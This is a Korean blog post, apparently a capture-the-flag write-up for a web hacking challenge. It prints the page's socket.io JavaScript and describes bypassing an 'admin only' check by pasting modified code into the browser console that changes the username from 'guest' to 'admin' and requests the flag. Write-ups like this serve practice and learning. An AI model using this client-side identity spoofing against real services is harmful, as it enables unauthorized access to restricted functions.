호그와트

웹해킹 58번 문제

영웅*^%&$ 2021. 12. 25. 15:22
728x90

$(function () {

var username = "guest";

var socket = io();

$('form').submit(function(e){

e.preventDefault();

socket.emit('cmd',username+":"+$('#m').val());

$('#m').val('');

return false;

});

socket.on('cmd', function(msg){

$('#messages').append($('<li>').text(msg));

});

});

원래의 자바스크립트를 까보면 위의 내용이 나온다

솔직히 맨 처음에는 console이 나와서 그에 맞는 명령어를 입력해주어야 되는 건가 싶어서 이거 저거 하나씩 입력했었다 심지어 os.system까지 갔었다

ls 등 여러 명령어를 입력하다가 이걸로는 뚫는 길이 없는 거 같아서

위의 자바스크립트를 유심히 보았다

간단히 변경해줄 수 있겠다 싶어서

아래 내용으로 바꾸어서 개발자도구 콘솔에 입력해주었다

$(function () {

var username = "admin";

var socket = io();

$('form').submit(function(e){

e.preventDefault();

socket.emit('cmd',username+":"+'flag');

$('#m').val('');

return false;

});

socket.on('cmd', function(msg){

$('#messages').append($('<li>').text(msg));

});

});

그 후에 명령어 페이지에 flag를 쳤다

admin Only라는 내용을 우회하고 플래그 값을 확보하였다!!

728x90

'호그와트' 카테고리의 다른 글

드림핵 linux forest  (0) 2022.01.18
XSS와 CSRF의 차이점 (드림핵에서 누가 물어보길래)  (0) 2022.01.03
웹해킹 42번 문제  (0) 2021.12.25
웹해킹 41번 문제  (0) 2021.12.25
드림핵 Web log-1  (0) 2021.12.24